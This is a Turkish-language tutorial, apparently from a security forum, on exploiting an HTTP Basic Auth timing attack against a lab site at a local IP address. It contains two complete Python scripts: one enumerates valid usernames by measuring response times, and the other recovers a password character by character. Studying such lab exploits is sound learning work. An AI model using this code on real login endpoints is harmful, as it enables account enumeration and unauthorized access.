Selamun Aleyküm
bu açığın ne olduğunu burada anlatmayacam onceki konumda anlatmıştım buradan bakabilirsiniz :
http-auth-timing-attack-nedir
sitemize bakalım öncelikle
normalde siteye kullanıcı adı password gönderirken requests(site,data=) ile bu işlemi yapabilirdik ama bu örnekte site bize bir pop up veya alert ile bizden bu değerleri istemiş, id name xpath değerleride yok bize verilen input'un, ve bu benim daha önceden rastlamadıgım bir durumdu ve bende burp suite ile benim siteye girdiğim değerler nasıl gidiyormuş önce buna baktım
gördüğünüz gibi authorization: Basic olarak gidiyormuş bunu araştırdığımda from requests.auth import HTTPBasicAuth
adında bir kütüphane buldum şimdi kullanıcı adı ve şifremizi bu kütüphane ile siteye gönderebiliriz
öncelikle sitedeki kullanıcıları bulmak için şu kodu yazalım :
çıktımız :
görebileceginiz gibi hacker adlı kullanıcı adının cevabı diğerlerinden farklı bir sürede geldi çünkü hacker adlı kullanıcı adı sitede kayıtlıydı
ben hacker adını ve şifreyi gönderdiğimde site benim gonderdigim şifreyi hacker adının gerçek şifresi ile karşılaştırdı ve buda siteden gelen cevabın süresinin artmasına yol açtı
ve süre arttıgı icin kullanıcı adının mevcut olduğunu anladık
peki 0 ile başlayan diğer değerler ne ?
onlarda sitede mevcut olmayan kullanıcı adları kullanıcı adı mevcut olmadıgı icin şifreyi kontrol etmesine gerek kalmadı bu durumda siteden gelen cevabın gelme süreside artmadı
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------kullanıcı adını bulduk şimdide kullanıcı adının şifresini aynı yöntem ile bulmaya çalışcaz tabiki bu daha zor olacak
burada anlamanız gereken bir olay var bulunan adında bir değişken var biz siteye şifreleri tek tek göndericez ve en uzun zamana sahip olanı bulunan adlı değişkene ekliycez sonra döngü bidaha dönecek 2.index'e geçtikten sonra bu işlem yeniden gerçekleşecek ve gelen_giden_zamanı_bul fonksiyonu şöyle bir değer alacak p4q -> p4w ->p4e -> olarak devam edecek ardından buradan gelen en büyük sürede yeniden bulunan adlı değişkene eklenecek --bu arada bulunan değişkenine fark edebileceğiniz gibi b[-1] dedim bunu yapmamın nedeni eğer direk bulunan += b deseydim önceki buldugu şifreleri birdaha ekleyecekti ve saçma bir döngüye girecekti bu yuzden her seferinde son elemanı ekledim
çıktılar :
////////////////////////////////////////////////////
///////////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////
////////////////////////////////////
////////////////////////////////////
/////////////////////////////////
bu açığın exploitini yazma ile ilgili bir video paylaştım izlemek isteyen varsa :
youtube
sitedeki kullanıcıyı bulmak
kodlar :
Python:
import requests
from requests.auth import HTTPBasicAuth
import time
site = "http://192.168.1.41/authentication/example2/"
#site alert ile kullanıcı adı ve şifre istedigi icin requests ile bilindik bir işlem yapamıyoruz
#burp suite ile giden değerlere baktım ve şöyle birşey gördüm :
# Authorization: Basic
# siteye kullanıcı adımızı ve şifremizi gondermek icin from requests.auth import HTTPBasicAuth kütüphanesini kullanıcaz
kullancı = ["ahmet","ayse","hacker","fatma","user","sari cizmeli mehmet aga"] #sitede sadece hacker ifadesi kayıtlı diğer isimler kayıtlı değil
şifre = "sifre" # şifrenin bir onemi yok rastgele girilebilir
for i in kullancı:
auth = HTTPBasicAuth(i,şifre) #ad ve şifreyi girdim bu değerler Authorization: Basic kısmına gidecek
başlangıc = time.time() #***zamanı başlatıyorum***
response = requests.get(site,auth=auth) #burada get dememizin nedeni burpsuite ile baktım get ile işlem yapılmış
bitiş = time.time() #***zamanı bitiriyorum*** başlangıc ve bitiş arasındaki süre kullanıcı adının ve şifrenin gönderildiği ve cevap alındıgı süredir
süre = bitiş-başlangıc
print(f"{i} : {süre}") #kullanıcı adının kontrol edilme süresi ve kullanıcı adı
#görebileceginiz gibi hacker ifadesinin cevabı diğerlerinden farklı bir değerde geldi çünkü hacker ifadesi sitede kayıtlıydı
#ben hacker adını ve şifreyi gönderdiğimde site benim gonderdigim şifreyi hacker adının gerçek şifresi ile karşılaştırdı ve buda siteden gelen cevabın süresinin artmasına yol açtı
#ve süre arttıgı icin kullanıcı adının mevcut olduğunu anladık
#peki 0 ile başlayan diğer değerler ne ?
#onlarda sitede mevcut olmayan kullanıcı adları kullanıcı adı mevcut olmadıgı icin şifreyi kontrol etmesine gerek kalmadı bu durumda siteden gelen cevabın gelme süreside artmadı
kullanıcının şifresini bulma
kodlar :
Python:
import requests
from requests.auth import HTTPBasicAuth
import time
site = "http://192.168.1.41/authentication/example2/"
kullancı = "hacker"
şifre = "qwertyuopasdfghjklizxcvbnmöç1234567890" #deneyecegimiz şifreler
sözlük = {}
sayılar = []
bulunan = ""
en_uzun_zaman = [0.0] # süreleri karşılaştırma yapacagımız liste
def gelen_giden_zamanı_bul(tahmin): #şifreyi giricez tahmin yazan yere
auth = HTTPBasicAuth(kullancı,tahmin)
başlangıc = time.time() #zamanı başlatıyoruz
requests.get(site,auth=auth) # kullanıcı adını ve şifreyi gönderiyoruz
bitiş = time.time() #zamanı durduruyoruz
süre = bitiş-başlangıc #başlangıç ve bitiş arasındaki gönderdiğimiz değerler ne kadar sürede bize geri döndü
sözlük[süre] = tahmin # sonradan bu değerler ile daha iyi etkileşim kurabilmek icin sözlüğe alıyorum
print(f"{tahmin} : {süre}") # şifre : şifrenin gidiş geliş süresi olarak yazdırıyorum
if float(süre) > float(en_uzun_zaman[0]): #eğer süre listedeki elemandan büyükse
en_uzun_zaman.clear() #listeyi komple siliyoruz
en_uzun_zaman.append(float(süre)) #listeye süre'yi ekliyoruz
while True:
for q in range(len(şifre)):
gelen_giden_zamanı_bul(f"{bulunan}{şifre[q]}") #bulunan adlı değişken ilk indexde boş olacak ardından o anki indexdeki bulunan şifreyi
#bulunan adlı değişkene ekliycez
if q == len(şifre)-1: #şifredeki bütün değerler teker teker denendiyse
zaman = en_uzun_zaman[0] # en büyük zamanı alıyoruz
b = str(sözlük[zaman]) #sözlük[zaman] diyerek sözlüğün zaman değeri sayesinde şifrenin değerine ulaşıyorum
bulunan += b[-1] #bulunan şifrenin son değerini bulunan adlı değişkene atıyorum
print("*********")
print("bulunanlar :")
print(sözlük[zaman])
print("***********")
print("şifrenin gitme gelme zamanı :")
print(en_uzun_zaman[0])
en_uzun_zaman = [0.0] #yukarıda karşılaştırma yapılırken bir karışıklık çıkmaması acısından yeniden listeyi eski halıne getiriyorum